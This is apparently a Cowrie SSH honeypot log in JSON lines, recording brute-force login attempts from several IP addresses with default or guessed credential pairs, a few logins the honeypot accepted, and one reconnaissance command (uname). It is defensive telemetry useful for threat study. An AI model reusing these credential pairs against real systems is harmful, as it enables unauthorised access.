{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:23.462606Z","src_ip":"43.132.227.251","session":"9b1339e0e676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:23.663976Z","src_ip":"43.132.227.251","session":"9b1339e0e676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:24.498031Z","src_ip":"43.132.227.251","session":"9b1339e0e676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:25.702722Z","src_ip":"43.132.227.251","session":"9b1339e0e676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.132.227.251","src_port":43398,"dst_ip":"159.203.135.109","dst_port":22,"session":"d01cf46ead9a","protocol":"ssh","message":"New connection: 43.132.227.251:43398 (159.203.135.109:22) [session: d01cf46ead9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:25.904816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:25.910748Z","src_ip":"43.132.227.251","session":"d01cf46ead9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:26.115901Z","src_ip":"43.132.227.251","session":"d01cf46ead9a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:26.968606Z","src_ip":"43.132.227.251","session":"d01cf46ead9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":59986,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eea4211aca9","protocol":"ssh","message":"New connection: 101.44.96.62:59986 (159.203.135.109:22) [session: 6eea4211aca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:26.998475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:27.003049Z","src_ip":"101.44.96.62","session":"6eea4211aca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:27.178214Z","src_ip":"43.132.227.251","session":"d01cf46ead9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:27.183483Z","src_ip":"43.132.227.251","session":"fb61784e645f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:27.220473Z","src_ip":"101.44.96.62","session":"6eea4211aca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:27.873286Z","src_ip":"101.44.96.62","session":"6eea4211aca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:29.093857Z","src_ip":"101.44.96.62","session":"6eea4211aca9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":41162,"dst_ip":"159.203.135.109","dst_port":22,"session":"86a793208c70","protocol":"ssh","message":"New connection: 101.44.96.62:41162 (159.203.135.109:22) [session: 86a793208c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:40.555615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:40.560842Z","src_ip":"101.44.96.62","session":"86a793208c70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:40.774563Z","src_ip":"101.44.96.62","session":"86a793208c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:41.633052Z","src_ip":"101.44.96.62","session":"86a793208c70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:42.853109Z","src_ip":"101.44.96.62","session":"86a793208c70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":55242,"dst_ip":"159.203.135.109","dst_port":22,"session":"6177cd88ac85","protocol":"ssh","message":"New connection: 101.44.96.62:55242 (159.203.135.109:22) [session: 6177cd88ac85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:54.062960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:54.067257Z","src_ip":"101.44.96.62","session":"6177cd88ac85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:54.281575Z","src_ip":"101.44.96.62","session":"6177cd88ac85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oceanbase","password":"oceanbase","message":"login attempt [oceanbase/oceanbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:54.923764Z","src_ip":"101.44.96.62","session":"6177cd88ac85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:04:56.140997Z","src_ip":"101.44.96.62","session":"6177cd88ac85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":53384,"dst_ip":"159.203.135.109","dst_port":22,"session":"6526ea331c7b","protocol":"ssh","message":"New connection: 101.44.96.62:53384 (159.203.135.109:22) [session: 6526ea331c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:07.517120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:07.521730Z","src_ip":"101.44.96.62","session":"6526ea331c7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:07.741653Z","src_ip":"101.44.96.62","session":"6526ea331c7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:08.393959Z","src_ip":"101.44.96.62","session":"6526ea331c7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:09.613296Z","src_ip":"101.44.96.62","session":"6526ea331c7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":39296,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa9e9c1495bd","protocol":"ssh","message":"New connection: 195.178.110.218:39296 (159.203.135.109:22) [session: aa9e9c1495bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:10.557149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:10.561726Z","src_ip":"195.178.110.218","session":"aa9e9c1495bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:10.641416Z","src_ip":"195.178.110.218","session":"aa9e9c1495bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:10.879911Z","src_ip":"195.178.110.218","session":"aa9e9c1495bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:11.961670Z","src_ip":"195.178.110.218","session":"aa9e9c1495bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":33504,"dst_ip":"159.203.135.109","dst_port":22,"session":"6447f15a2e79","protocol":"ssh","message":"New connection: 101.44.96.62:33504 (159.203.135.109:22) [session: 6447f15a2e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:20.980216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:20.984981Z","src_ip":"101.44.96.62","session":"6447f15a2e79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:21.202253Z","src_ip":"101.44.96.62","session":"6447f15a2e79","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"aB123456","message":"login attempt [root/aB123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:21.856936Z","src_ip":"101.44.96.62","session":"6447f15a2e79","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:22.328683Z","src_ip":"101.44.96.62","session":"6447f15a2e79","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:22.332771Z","src_ip":"101.44.96.62","session":"6447f15a2e79","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:22.552611Z","src_ip":"101.44.96.62","session":"6447f15a2e79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:22.557441Z","src_ip":"101.44.96.62","session":"6447f15a2e79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":35788,"dst_ip":"159.203.135.109","dst_port":22,"session":"2639c9065159","protocol":"ssh","message":"New connection: 101.44.96.62:35788 (159.203.135.109:22) [session: 2639c9065159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:34.467269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:34.471445Z","src_ip":"101.44.96.62","session":"2639c9065159","protocol":"ssh"}
